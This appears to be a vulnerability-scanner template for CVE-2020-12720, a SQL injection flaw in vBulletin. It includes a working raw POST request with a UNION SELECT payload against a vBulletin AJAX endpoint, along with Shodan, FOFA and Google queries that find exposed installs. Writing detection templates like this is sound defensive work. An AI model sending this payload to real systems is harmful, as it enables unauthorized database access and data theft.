CVE-2020-12720: vBulletin SQL Injection

id: CVE-2020-12720

info:
  name: vBulletin SQL Injection
  author: pdteam
  severity: critical
  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control that permits SQL injection attacks.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of vBulletin.
  reference:
    - https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12720
    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1
    - http://packetstormsecurity.com/files/157716/vBulletin-5.6.1-SQL-Injection.html
    - http://packetstormsecurity.com/files/157904/vBulletin-5.6.1-SQL-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12720
    cwe-id: CWE-306
    epss-score: 0.9382
    epss-percentile: 0.9986
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.title:"powered by vbulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve2020,cve,vbulletin,sqli,packetstorm

http:
  - raw:
      - |
        POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        nodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+-

    matchers:
      - type: word
        words:
          - "vbulletinrce"
# digest: 4a0a004730450221008bf9d529ea03894feeab9ecb7ab1940ad3a8bd5c30eb9d651ef0dd4883159435022003fffbce438c82cbb50cc4683d19cc68d23a899f3153f63d17fc49c2b13eeec7:922c64590222798bb761d5b6d8e72950